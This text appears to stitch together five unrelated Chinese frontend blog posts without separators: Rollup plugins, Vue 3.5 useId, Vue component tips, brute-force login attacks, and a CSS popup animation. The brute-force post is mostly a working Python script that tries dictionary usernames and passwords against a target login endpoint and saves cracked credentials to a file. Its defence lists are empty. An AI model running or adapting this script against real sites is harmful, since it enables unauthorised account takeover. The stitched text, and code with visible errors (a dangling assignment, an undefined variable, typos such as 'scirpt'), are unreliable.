export default function myExtractCssRollupPlugin (opts) {

    return {

      name: 'my-extract-css-rollup-plugin',

      transform(code, id) {

        if(!id.endsWith('.css')) {

          return null;

        }



        extractArr.push(code);



        return {

          code: 'export default undefined',

          map: { mappings: '' }

        }

      },

      generateBundle(options, bundle) {



        this.emitFile({

          fileName: opts.filename || 'guang.css',

          type: 'asset',

          source: extractArr.join('\n/*光光666*/\n')

        })

      }

    };

  }

在 transform 里对代码做转换，这就相当于 webpack 的 loader 了。

我们在 transform 里只处理 css 文件，保存 css 代码，返回一个空的 js 文件。

然后 generateBundle 里调用 emitFile 生成一个合并后的 css 文件。

用一下：

import myExtractCssRollupPlugin from './my-extract-css-rollup-plugin.mjs';

myExtractCssRollupPlugin({

    filename: '666.css'

})

删掉之前的 dist 目录，重新打包：

npx rollup -c rollup.config.mjs

看下产物：

可以看到，抽离出了 css，内容是合并后的所有 css。

而 cjs 也没有 css 的引入：

也是被 tree shaking 掉了。

我们把 tree shaking 关掉试试：

再次打包：

可以看到，两个 css 模块转换后的 js 模块依然被引入了：

我们改下插件 transform 的内容：

再次打包：

可以看到引入的也是我们转后后的 css 模块的内容：

因为没用到，同样会被 tree shaking 掉。

所以说 rollup 的插件的 transform 就相当于 webpack loader 的功能。

前面说 webpack 用来做浏览器的打包，而 rollup 一般做 js 库的打包。

这也不全对，vite 就是用 rollup 来做的生产环境的打包。

因为它开发环境下不打包，而是跑了一个开发服务器，对代码做了下转换，不需要 webpack 那些 dev server 的功能。

而生产环境又需要打包，所以 rollup 就很合适。

开发环境下，浏览器里用 type 为 module 的 script 引入，会请求 vite 的开发服务器。

vite 开发服务器会调用 rollup 插件的 transform 方法来做转换。

而生产环境下，用 rollup 打包，也是用同样的 rollup 插件。

当然，vite 还会用 esbuild 来做下依赖的与构建，比如把 cjs 转换成 esm、把小模块打包成一个大的模块。

用 esbuild 是因为它更快。

所以说，vite 是基于 rollup 来实现的，包括开发服务器的 transform，以及生产环境的打包。

但是为了性能考虑，又用了 esbuild 做依赖预构建。

现在 vite 团队在开发 rust 版 rollup 也就是 rolldown 了，有了它之后，就可以完全替代掉 rollup + esbuild 了。

综上，除了 webpack、vite 外，rollup 也是非常常用的一个打包工具。

案例代码上传了github

总结

这节我们学习了 rollup，虽然它不如 webpack、vite 提到的多，但也是一个常用的打包工具。

它打包产物没有 runtime 代码，更简洁纯粹，能打包出 esm、cjs、umd 的产物，常用来做 js 库、组件库的打包。相比之下，webpack 目前对 esm 产物的支持还是实验性的，不稳定。

rollup 只有 plugin，没有 loader，因为它的 transform 方法就相当于 webpack 插件的 loader。

vite 就是基于 rollup 来实现的，开发环境用 rollup 插件的 transform 来做代码转换，生产环境用 rollup 打包。

不管你是想做组件库、js 库的打包，还是想深入学习 vite，都离不开 rollup。

更多内容可以看我的小册《Node.js CLI 通关秘籍》

0. 啥是useId

Vue 3.5中新增的useId函数主要用于生成唯一的ID，这个ID在同一个Vue应用中是唯一的，并且每次调用useId都会生成不同的ID。这个功能在处理列表渲染、表单元素和无障碍属性时非常有用，因为它可以确保每个元素都有一个唯一的标识符。

useId的实现原理相对简单。它通过访问Vue实例的ids属性来生成ID，这个属性是一个数组，其中包含了用于生成ID的前缀和自增数字。每次调用useId时，都会取出当前的数字值，然后进行自增操作。这意味着在同一页面上的多个Vue应用实例可以通过配置app.config.idPrefix来避免ID冲突，因为每个应用实例都会维护自己的ID生成序列。

1. 实现源码

export function useId(): string {

  const i = getCurrentInstance()

  if (i) {

    return (i.appContext.config.idPrefix || 'v') + '-' + i.ids[0] + i.ids[1]++

  } else if (__DEV__) {

    warn(

      `useId() is called when there is no active component ` +

        `instance to be associated with.`,

    )

  }

  return ''

}

• i.appContext.config.idPrefix：这是从当前组件实例中获取的一个配置属性，用于定义生成ID的前缀。如果这个前缀存在，它将被使用；如果不存在，默认使用 'v'。


• i.ids[0]：这是当前组件实例上的 ids 数组的第一个元素，它是一个字符串，通常为空字符串，用于生成ID的一部分。


• i.ids[1]++：这是 ids 数组的第二个元素，它是一个数字，用于生成ID的自增部分。这里使用了后置自增运算符 ++，这意味着它会返回当前值然后自增。每次调用 useId 时，这个数字都会增加，确保生成的ID是唯一的。

2.设置ID前缀

如果不想使用默认的前缀'v'的话，可以通过app.config.idPrefix进行设置。

const app = createApp(App)



app.config.idPrefix = 'vid'

3.使用场景

3-1. 表单元素的唯一标识

在表单中，<label> 标签需要通过 for 属性与对应的 <input> 标签的 id 属性相匹配，以实现点击标签时输入框获得焦点的功能。使用 useId 可以为每个 <input> 元素生成一个唯一的 id，确保这一功能的正常工作。例如：

<label :for="id">Do you like Vue 3.5?</label>

  <input type="checkbox" :id="id" />

const id = useId()

3-2. 列表渲染中的唯一键

在渲染列表时，每一项通常需要一个唯一的键（key），以帮助 Vue 追踪每个节点的身份，从而进行高效的 DOM 更新。如果你的列表数据没有唯一key的话，那么useId 可以为列表中的每个项目生成一个唯一的键。

<ul>

    <li v-for="item in items" :key="item.id">

      {{ item.text }}（{{ item.id }}）

    </li>

  </ul>

const items = Array.from({ length: 10}, (v, k) => { 

    return {

        text: `Text ${k}`,

        id: useId()

    }

})

上述代码渲染结果如下：

3-3. 服务端渲染（SSR）中避免 ID 冲突

在服务端渲染（SSR）的应用中，页面的HTML内容是在服务器上生成的，然后发送给客户端浏览器。在客户端，浏览器会接收到这些HTML内容，并将其转换成一个可交互的页面。如果在服务器端和客户端生成的HTML中存在相同的ID，那么在客户端激活（hydrate）时，就可能出现问题，因为客户端可能会尝试操作一个已经由服务器端渲染的DOM元素，导致潜在的冲突或错误。

下面是一个使用useId来避免这种ID冲突的实际案例：

服务端代码 (server.js)

import { createSSRApp } from 'vue';

import { renderToString } from '@vue/server-renderer';

import App from './App.vue';



const app = createSSRApp(App);



// 假设我们在这里获取了一些数据

const data = fetchData();



renderToString(app).then(html => {

  // 将服务端渲染的HTML发送给客户端

  sendToClient(html);

});

客户端代码 (client.js)

import { createSSRApp } from 'vue';

import App from './App.vue';



const app = createSSRApp(App);



// 客户端激活，将服务端渲染的HTML转换成可交互的页面

hydrateApp(app);

在这个案例中，无论是服务端还是客户端，我们都使用了createSSRApp(App)来创建应用实例。如果我们在App.vue中使用了useId来生成ID，那么这些ID将在服务端渲染时生成一次，并在客户端激活时再次使用相同的ID。

App.vue 组件

<template>

  <div>

    <input :id="inputId" type="text" />

    <label :for="inputId">Enter text:</label>

  </div>

</template>



<script setup>

import { useId } from 'vue';



const inputId = useId();

</script>

在App.vue组件中，我们使用了useId来为<input>元素生成一个唯一的ID。这个ID在服务端渲染时生成，并包含在发送给客户端的HTML中。当客户端接收到这个HTML并开始激活过程时，由于useId生成的ID在服务端和客户端是相同的，所以客户端可以正确地将<label>元素关联到<input>元素，而不会出现ID冲突的问题。

如果没有使用useId，而是使用了Math.random()或Date.now()来生成ID，那么服务端和客户端可能会生成不同的ID，导致客户端在激活时无法正确地将<label>和<input>关联起来，因为它们具有不同的ID。这可能会导致表单元素的行为异常，例如点击<label>时，<input>无法获得焦点。

3-4. 组件库中的 ID 生成

在使用 Element Plus 等组件库进行 SSR 开发时，为了避免 hydration 错误，需要确保服务器端和客户端生成相同的 ID。通过在 Vue 中注入 ID_injection_key，可以确保 Element Plus 生成的 ID 在 SSR 中是唯一的。

// src/main.js

import { createApp } from 'vue'

import { ID_INJECTION_KEY } from 'element-plus'

import App from './App.vue'

const app = createApp(App)

app.provide(ID_INJECTION_KEY, {

  prefix: 1024,

  current: 0,

})

希望这篇文章介绍对你有所帮助，上述代码已托管在Gitee上，欢迎自取！

在这里，主要分享一些平时写VUE组件，会用到一些技巧，会让代码得到很大的简化，可以节省很多脑力体力。

1、v-bind=“$attrs”

这是首推的一个技巧写法，特别在拓展开源组件时，无缝使用开源组件各种props值时，简直不要太爽。

比如element-ui组件中的select组件，就有一个让人痛恨的点，就是options数据无法配置，必须得手动引入option组件才行，如下：

 <el-select v-model="value" placeholder="Select" size="large">  

    <el-option v-for="item in options" :key="item.value" :label="item.label" :value="item.value" />  

</el-select>

身为一个优秀前端前端佬，这哪里能忍！

技巧随之用来，我们就可以使用上面这个，创建一个自定义select组件，既能享用原组件的各种配置属性和事件
（P.S. 如果需要组件上使用自定义事件，比如change事件，属性上定义为’onChange': ()=>{}。），也可以自定义一些功能，创建一个customSelect.vue：

<el-select v-model="selectedValue" v-bind="attts">

    <el-option v-for="(item) in customOptions" v-bind="item"/>

</el-select>

这样在动态引用这个组件，就能使用自定义的customOptions这个属性。

上面例子主要说明，v-bind="$attr"的好处。但还是得多说一句，上面例子中的一些缺点。

然后需要注意一个点，得在customSelect.vue组件中，设置inheritAttrs为false，防止数据在组件上一层层透传下去。

2、improt { h } from vue

h为vue中的渲染函数，主要用来创建虚拟 DOM 节点 (vnode)。对应参数，可以戳这里，看官方详细正宗介绍。

对应这个连接中，有很多渲染函数的介绍。这系列有一个很大的特点，那就是用的魔怔了，就会一不小心把VUE变成“React”，损失掉VUE框架中的一些优点。

自由度非常高。仅仅针对这个H函数举例，还是援用上面的例子，实现如下（代码片段）：

<scirpt>

import {defineComponent, h} from 'vue'

import {ElSelect, ElOption} from 'element-plus'



export default definComponent({

    name:'DynamicSelect',

    props:{

        options:{

            type:Array,

            required:true,

            default:() => []

        }

    },

    setup(props) {

        return () = >

        h(ElSelect, () => 

            props.options.map(options =>            

                h(ElOption, {

                   key:option.value,

                   label:option.label,

                   value:option.value,

                })

           )

        )

    }

})

<script>

足够清爽，简单。

3、render

render，用于编程式地创建组件虚拟 DOM 树的函数。解释链接，可以戳这里。

废话不多说，直接以上面的例子，用render方式撸一遍。

<!-- <template>

    <div>1</div>

<template> -->



<scirpt>

import {defineComponent, h} from 'vue'

import {ElSelect, ElOption} from 'element-plus'



export default definComponent({

    name:'DynamicSelect',

    props:{

        options:{

            type:Array,

            required:true,

            default:() => []

        }

    },

    render(_ctx) {

        return () = >

        h(ElSelect, () => 

            _ctx.options.map(options =>            

                h(ElOption, {

                   key:option.value,

                   label:option.label,

                   value:option.value,

                })

           )

        )

    }

})

<script>

不能说实现的方式跟上面相似，简直说是一模一样。主要在于render做了template要做的事，但相比较template少一层解析，理论上会比template更高效。

需要注意一点，这里放出官网的描述：

如果一个组件中同时存在 render 和 template，则 render 将具有更高的优先级

正常理解的话，是render渲染出的vnode会高于template解析出的vnode，同时存在，render会覆盖掉template。

但在经过VUE的v3.3.4版本中操作，template会覆盖掉render。所以这个优先级，猜测可能是render会优先解析，具体得翻源码，待理解后继续更新。

4、getCurrentInstance

这个是获取当前组件实例的方法，属于核弹级别的方法，也属于VUE3官网文档中翻不到的东西。

但鲁迅说的好，路走的多了，那就成路了。如果社区用的人多了，那么它就有可能提上去！

言归正传，那么拿了这个组件的实例，能干什么呢？

那可干的事情，就可多可多了。

比如改个，调个组件方法，这都算小儿科，完全不用担心这里readOnly，那里ReadonlyReactiveHandler。

猛一点，直接硬插，换个上下文。

再猛的，先假设：组件实例 === 组件，组件 === VUE，VUE === YYX写的，然后你写了一点代码+VUE，是不是由此可得，你的代码 》 VUE ，进而证明 你 》 YYX。嗯？

5、extends

先来一段官方的介绍：

从实现角度来看，extends 几乎和 mixins 相同。通过 extends 指定的组件将会当作第一个 mixin 来处理。

然而，extends 和 mixins 表达的是不同的目标。mixins 选项基本用于组合功能，而 extends 则一般更关注继承关系。

缺点上，第1节有提一个，但还有一个不算是缺点的缺点，相同属性和方法会直接覆盖被继承的组件（钩子函数不会被覆盖）,主要在于是否熟悉被继承的组件中的逻辑。用的好就很好，用的不行，就真的很不行。

如果还是用上面的例子作为例子，实现方法如下：

<scirpt>

import {defineComponent, createVNode, render, getCurrentInstance } from 'vue'

import {ElSelect, ElOption} from 'element-plus'



export default definComponent({

    name:'DynamicSelect',

    extends:ElSelect,

    props:{

        options:{

            type:Array,

            required:true,

            default:() => []

        }

    },

    setup(props) {

        return ElSelect.setup(props, context)

    },

    mounted(){

        const curInstance = getCurrentInstance()

        const container = doucment.createElement('div')

        

        this.$props.options.forEach(options => {

            const vNode = createVNode(ElOption,{

                key:option.value,

               label:option.label,

               value:option.value,

            })

        })

        

        const currrentProvides = curInstance?.provides

        if(currrentProvides){

            // 将ELSelect的Provides，传入到ElOption中

            reflect.set(curInstance?.appContext,'provides',{...currrentProvides})

        }

        vNode.appContext = curInstance?.appContext

        render(vNode,container)

        this.$el.appendChild(container)

    }

})

<script>

但这种，确实是为了实现那个例子而写的代码。有些可以作为参考。

暂时分享这些，欢迎前端佬们拍砖。

声明：本文仅供学习和研究用途，请勿用作违法犯罪之事，若违反则与本人无关。

暴力破解登录是一种常见的前端安全问题，属于未授权访问安全问题的一种，攻击者尝试使用不同的用户名和密码组合来登录到受害者的账户，直到找到正确的用户名和密码组合为止。攻击者可以使用自动化工具，如字典攻击、暴力攻击等来加快攻击速度。这种攻击通常针对用户使用弱密码、没有启用多因素身份验证等情况。

一、发现问题

常见情况

Web 应用的登录认证模块容易被暴破登录的情况有很多，以下是一些常见的情况：

常用工具

为了检测 Web 应用的登录认证模块是否存在暴破登录漏洞，可以使用以下工具：

需要注意的是，这些工具只应用于测试和评估自己的 Web 应用程序，而不应用于攻击他人的 Web 应用程序。

二、分析问题

对目标 Web 应用进行暴破登录攻击实例：

1. 通过 Google Chrome 开发者工具查看登录请求接口地址、请求参数和响应数据等信息

可以在登录界面随意输入一个账号和密码，然后点击登录，即可在开发者工具的网络面板查看登录接口相关信息。

• 请求地址:
  
  

  

  
  

  由图可知，应用使用的是 HTTP 协议，而不是更安全的 HTTPS 协议。



• 请求参数：
  
  

  

  
  

  由图可知，登录接口的请求参数用户名和密码用的都是明文。



• 响应数据：
  
  

  

2. 构建目标 Web 应用 URL 字典、账号字典和密码字典

• URL 字典 url.txt:
  
  

  	http://123.123.123.123:1234/
  
  

  
  


• 账号字典 usr.txt：
  
  

  	admin
  
  

  
  

  admin 是很多 Web 后端管理应用常用的管理员默认账号。



• 密码字典 pwd.txt:
  
  

  	1234
  
  
  
  	12345
  
  
  
  	123456
  
  

  
  

  密码字典是三个被常用的弱密码。

3. 暴力破解登录代码示例

Python 脚本代码示例：

	from io import TextIOWrapper



	import json



	import logging



	import os



	import time



	import requests



	from requests.adapters import HTTPAdapter



	 



	g_input_path = './brute_force_login/input/'



	g_output_path = './brute_force_login/output/'



	 



	def log():



	    # 创建日志文件存放文件夹



	    root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))



	    log_dir = os.path.join(root_dir,  'logs', 'brute_force_login')



	 



	    if not os.path.exists(log_dir):



	        os.mkdir(log_dir)



	 



	    # 创建一个日志器



	    logger = logging.getLogger("logger")



	 



	    # 设置日志输出的最低等级,低于当前等级则会被忽略



	    logger.setLevel(logging.INFO)



	 



	    # 创建处理器：sh为控制台处理器，fh为文件处理器



	    sh = logging.StreamHandler()



	 



	    # 创建处理器：sh为控制台处理器，fh为文件处理器,log_file为日志存放的文件夹



	    log_file = os.path.join(log_dir, "{}.log".format(



	        time.strftime("%Y-%m-%d", time.localtime())))



	    fh = logging.FileHandler(log_file, encoding="UTF-8")



	 



	    # 创建格式器,并将sh，fh设置对应的格式



	    formator = logging.Formatter(



	        fmt="%(asctime)s %(levelname)s %(message)s", datefmt="%Y/%m/%d %X")



	 



	    sh.setFormatter(formator)



	    fh.setFormatter(formator)



	 



	    # 将处理器，添加至日志器中



	    logger.addHandler(sh)



	    logger.addHandler(fh)



	 



	    return logger



	 



	globalLogger = log()



	 



	def myRequest(url: str, method: str, data, proxyIpPort="localhost", authorizationBase64Str=''):



	    # 请求头



	    headers = {



	        "content-type": "application/json",



	        'User-Agent': 'Mozilla/5.0 (Macint0sh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',



	    }



	 



	    if authorizationBase64Str != '':



	        headers['Authorization'] = 'Basic ' + authorizationBase64Str



	 



	    proxies = {}



	    if proxyIpPort != "localhost":



	        proxies = {



	            "http": "http://" + proxyIpPort,



	            "https": "http://" + proxyIpPort



	        }



	 



	    try:



	        s = requests.Session()



	        # 配置请求超时重试



	        s.mount('http://', HTTPAdapter(max_retries=1))



	        s.mount('https://', HTTPAdapter(max_retries=1))



	 



	        response = 



	        # 构造发送请求



	        if method == 'get':



	            response = s.get(url=url, headers=headers, data=data,



	                            proxies=proxies,  timeout=(3.05, 1))



	        elif method == 'post':



	            response = s.post(url=url, headers=headers, data=data,



	                            proxies=proxies,  timeout=(3.05, 1))



	        else:



	            globalLogger.warning("Request Method Invalid")



	            return 'RequestException'



	        # 响应数据



	        globalLogger.info(



	            "MyRequest Request ResponseText:\n {}".format(response.text))



	        return response.text



	    except requests.exceptions.RequestException as e:



	        globalLogger.warning("RequestException: {}".format(e))



	        return 'RequestException'



	 



	 



	def getStrListFromFile(fileContent: TextIOWrapper):



	    return fileContent.read().rstrip('\n').replace('\n', ';').split(';')



	 



	 



	def attackTargetSite(url: str, usr: str, pwd: str):



	    reStr = 'FAIL'



	 



	    fullUrl = url + 'webapp/web/login'



	    globalLogger.info("attackTargetSite Request Url: {}".format(fullUrl))



	 



	    reqData = {



	        "name": usr,



	        "password": pwd



	    }



	 



	    resp = myRequest(fullUrl, 'post', json.dumps(reqData).encode("utf-8"))



	 



	    if '"status":200' in resp:



	        reStr = 'SUCCESS'



	    elif 'RequestException' in resp:



	        reStr = 'RequestException'



	 



	    return reStr



	 



	def attack():



	    try:



	        input_path = g_input_path



	 



	        # 读取url文件



	        input_url_filename = 'url.txt'



	        urlFileContent = open(os.path.join(



	            input_path, input_url_filename), 'r')



	        url_list = getStrListFromFile(urlFileContent)



	 



	        # 读取用户名字典文件



	        input_usr_filename = 'usr.txt'



	        usrFileContent = open(os.path.join(



	            input_path, input_usr_filename), 'r')



	        usr_list = getStrListFromFile(usrFileContent)



	 



	        # 读取密码字典文件



	        input_pwd_filename = 'pwd.txt'



	        pwdFileContent = open(os.path.join(



	            input_path, input_pwd_filename), 'r')



	        pwd_list = getStrListFromFile(pwdFileContent)



	 



	        # 输出文件路径及名称



	        output_path = g_output_path



	        output_hacked_url = 'hackedUrlAndPwd.txt'



	 



	        with open(os.path.join(output_path, output_hacked_url), 'w') as output_file:



	            i = 0



	            for url in url_list:



	                i += 1



	                j = 0



	                for usr in usr_list:



	                    j += 1



	                    resp = 'FAIL'



	                    k = 0



	                    for pwd in pwd_list:



	                        k += 1



	                        resp = attackTargetSite(url, usr, pwd)



	                        if resp == 'SUCCESS':



	                            output_file.write(url + '\n')



	                            output_file.write('{}:{}\n'.format(usr, pwd))



	                            # 数据实时写入文件(无缓冲写入)



	                            output_file.flush()



	 



	                            pStr = "[SUCCESS {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] success".format(



	                                i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)



	                            globalLogger.info(pStr)



	                            break



	                        elif 'RequestException' in resp:



	                            pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(



	                                i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)



	                            globalLogger.info(pStr)



	                            break



	                        else:



	                            pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(



	                                i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)



	                            globalLogger.info(pStr)



	                    if resp == 'SUCCESS':



	                        break



	                    elif 'RequestException' in resp:



	                        break



	 



	    finally:



	        if urlFileContent:



	            urlFileContent.close()



	        if usrFileContent:



	            usrFileContent.close()



	        if pwdFileContent:



	            pwdFileContent.close()



	        if pipFileContent:



	            pipFileContent.close()



	 



	attack()

上述 Python 代码中导入了 io、json、logging、os、time 和 requests 模块。 log 函数用于设置日志文件的路径和格式，以及创建日志记录器，并返回该记录器。 myRequest 函数用于发送 HTTP 请求，并返回响应文本。函数 attackTargetSite 用于攻击目标网站的登录页面。最后，函数 attack 读取 url.txt、usr.txt 和 pwd.txt 文件，以此作为参数进行攻击，并将破解的网站和密码保存到 hackedUrlAndPwd.txt 文件中。

成功破解的目标站点将 URL、账号和密码保存到 hackedUrlAndPwd.txt 文件中，如：

	http://123.123.123.123:1234/



	admin:1234

其中， http://123.123.123.123:1234/ 为目标 Web 应用站点的 URL，admin 为账号，1234 为密码。

由上述代码可知，在目标 Web 应用站点存在使用弱密码、默认账户和密码（弱）、无锁定账户功能、无验证码功能等情况下，暴破登录是很容易成功的。

三、解决问题

防范措施

以下是一些预防暴力破解登录的措施：

防御工具

以下是一些应对暴力破解登录的常用工具：

需要注意的是，这些工具仅应用于测试和评估自己的 Web 应用程序，而不应用于攻击他人的 Web 应用程序。在进行安全测试时，应获得相关方的授权和许可，并遵循合适的安全测试流程和规范。

前言

这次给大家带来一个开屏的效果，由纯CSS实现，实现起来并不复杂，效果也并不简单，话不多说，咱们直入主题。

效果预览

效果如下所示。

HTML部分

首先看到HTML部分，相关代码如下。

 <nav class="main">

      <a href="#terrestrial" class="open-popup">terrestrial animals</a>

      <a href="#aquatic" class="open-popup">aquatic animals</a>

    </nav>

    <section id="terrestrial" class="popup">

      <a href="#" class="back">&lt; back</a>

      <p>🦓🦒🐅🐆🐘🦏🐃🦌🐐🐫</p>

    </section>

    <section id="aquatic" class="popup">

      <a href="#" class="back">&lt; back</a>

      <p>🐋🐳🐬🐟🐠🐡🐙🦑🦐🦀</p>

    </section>

这里包含了一个导航条和两个弹出窗口。<nav class="main">是主导航条的部分。包含了两个链接，分别链接到页面中的不同部分。<a href="#terrestrial" class="open-popup">terrestrial animals</a> 和 <a href="#aquatic" class="open-popup">aquatic animals</a>这两个链接标签（<a>）作为导航链接，包含了类名open-popup，当这些链接被点击时会弹出相关的窗口。<section id="terrestrial" class="popup"> 和 <section id="aquatic" class="popup">这两个部分分别代表了两个弹出的窗口内容。每一个窗口内容块中包含了一个返回的链接（< back）和相应类别的动物表情。

综上所述，这里构建了一个包含导航条和两个弹出窗口的结构，点击不同的链接可以弹出对应的内容窗口，用于显示相关的动物表情。

CSS部分

接着看到CSS部分。相关代码如下。

    .main {

      height: inherit;

      background: linear-gradient(dodgerblue, darkblue);

      display: flex;

      align-items: center;

      justify-content: center;

    }

    .open-popup {

      box-sizing: border-box;

      color: white;

      font-size: 16px;

      font-family: sans-serif;

      width: 10em;

      height: 4em;

      border: 1px solid;

      text-align: center;

      line-height: 4em;

      text-decoration: none;

      text-transform: capitalize;

      margin: 1em;

    }

    .open-popup:hover {

      border-width: 2px;

    }

这里描述了主区域和打开弹窗的链接按钮的样式。设置了渐变背景色、按钮的颜色、字体大小、字体样式、宽度、高度、边框等样式属性，使用 Flex 布局，使得包裹在内部的子元素能够进行灵活的排列。

在.open-popup中，box-sizing: border-box;使得元素的边框和内边距包含在宽度之内。text-align: center;使得按钮中的文本内容水平居中对齐。line-height: 4em;设定了行高。text-decoration: none;去除了链接的下划线。text-transform: capitalize;使得英文字母单词的首字母大写。.open-popup:hover定义了鼠标悬停在按钮上的样式，这里设置了边框的宽度在悬停时增加至 2px。

总的来说，这些 CSS 定义了主区块的背景样式以及弹出窗口链接按钮的样式，使得按钮在悬停时具有变化的边框宽度，且主区域能够使内部的元素水平和垂直居中。

    /* popup page layout */

    .popup {

      position: absolute;

      top: 0;

      width: 100%;

      height: inherit;

      flex-direction: column;

      justify-content: flex-start;

      display: none;

    }

    .popup:target {

      display: flex;

    }

    .popup .back {

      font-size: 20px;

      font-family: sans-serif;

      text-align: center;

      height: 2em;

      line-height: 2em;

      background-color: #ddd;

      color: black;

      text-decoration: none;

    }

    .popup .back:visited {

      color: black;

    }

    .popup .back:hover {

      background-color: #eee;

    }

    .popup p {

      font-size: 100px;

      text-align: center;

      margin: 0.1em 0.05em;

    }

这里描述了弹窗部分的布局与样式。在.popup中，position: absolute;将弹窗设置为绝对定位，相对于最近的已定位父元素进行定位。top: 0;将弹窗置于父元素的顶部。flex-direction: column; justify-content: flex-start;使用 Flex 布局，使得弹窗内的元素以垂直方向排列并且从顶部开始排列。display: none;表示在初始状态下将弹窗设为不可见。

.popup:target这个选择器用于在 URL 带有对应 ID 锚点时，将对应的弹窗设置为可见（display: flex）。

.popup .back设定了返回链接的字体大小、字体类型以及文本居中等样式，也设置了其背景颜色、文本颜色和访问时的颜色。

.popup p设置了段落元素的字体大小、文本居中，并添加了一些微小的外边距。

这些 CSS 给弹窗部分添加了基本的布局样式，通过使用了伪类target来控制弹窗的显示和隐藏，并设置了返回链接和段落元素的基本样式。

    /* animation effects */

    .popup > * {

      filter: opacity(0);

      animation: fade-in 0.5s ease-in forwards;

      animation-delay: 1s;

    }

    @keyframes fade-in {

      to {

        filter: opacity(1);

      }

    }

    .popup::before {

      content: "";

      position: absolute;

      width: 100%;

      height: 0;

      top: 50%;

      background-color: white;

      animation: open-animate 0.5s cubic-bezier(0.8, 0.2, 0, 1.2) forwards;

      animation-delay: 0.5s;

    }

    @keyframes open-animate {

      to {

        height: 100vh;

        top: 0;

      }

    }

    .popup::after {

      content: "";

      position: absolute;

      width: 0;

      height: 2px;

      background-color: white;

      top: calc((100% - 2px) / 2);

      left: 0;

      animation: line-animate 0.5s cubic-bezier(0.8, 0.2, 0, 1.2);

    }

    @keyframes line-animate {

      50%,

      100% {

        width: 100%;

      }

    }

这里描述了弹窗（Popup）元素的动画效果。在.popup > *中，filter: opacity(0);将所有子元素的不透明度设置为 0，元素将初始处于不可见状态。
animation: fade-in 0.5s ease-in forwards;使用了名称为 fade-in 的动画，持续时间为0.5秒，采用了 ease-in 时间变化，并且最终状态保持不变。animation-delay: 1s;表示动画延迟1秒后开始播放。

在动画@keyframes fade-in中，to将元素的不透明度逐渐增加到1，以显示元素。

.popup::before表示使用伪元素 ::before 创造了一个白色的遮罩层，该伪元素的初始高度为0，将在动画中展开到全屏幕高度。采用名为 open-animate 的动画，用于延时0.5秒后播放，动画效果由 Cubic-bezier 函数生成。

.popup::after表示使用伪元素 ::after 创造了一条横线，初始宽度为0，高度为2px，定义了 line-animate 动画，使得该横线逐渐展开成一条横幅。

综上所述，这些 CSS 定义了弹窗元素的动画效果，包括子元素逐渐显现、遮罩层的展开以及横线的逐渐展开，组合起来形成了一个整体的弹窗效果

总结

以上就是整个效果的实现过程了，代码简单易懂，效果也比较炫酷多样。另外，感兴趣的小伙伴们还可以在现有基础上发散思维，比如增加点其他效果，或者更改颜色等等。关于该效果如果大家有更好的想法欢迎在评论区分享，互相学习。最后，完整代码在码上掘金里可以查看，如果有什么问题大家在评论区里讨论~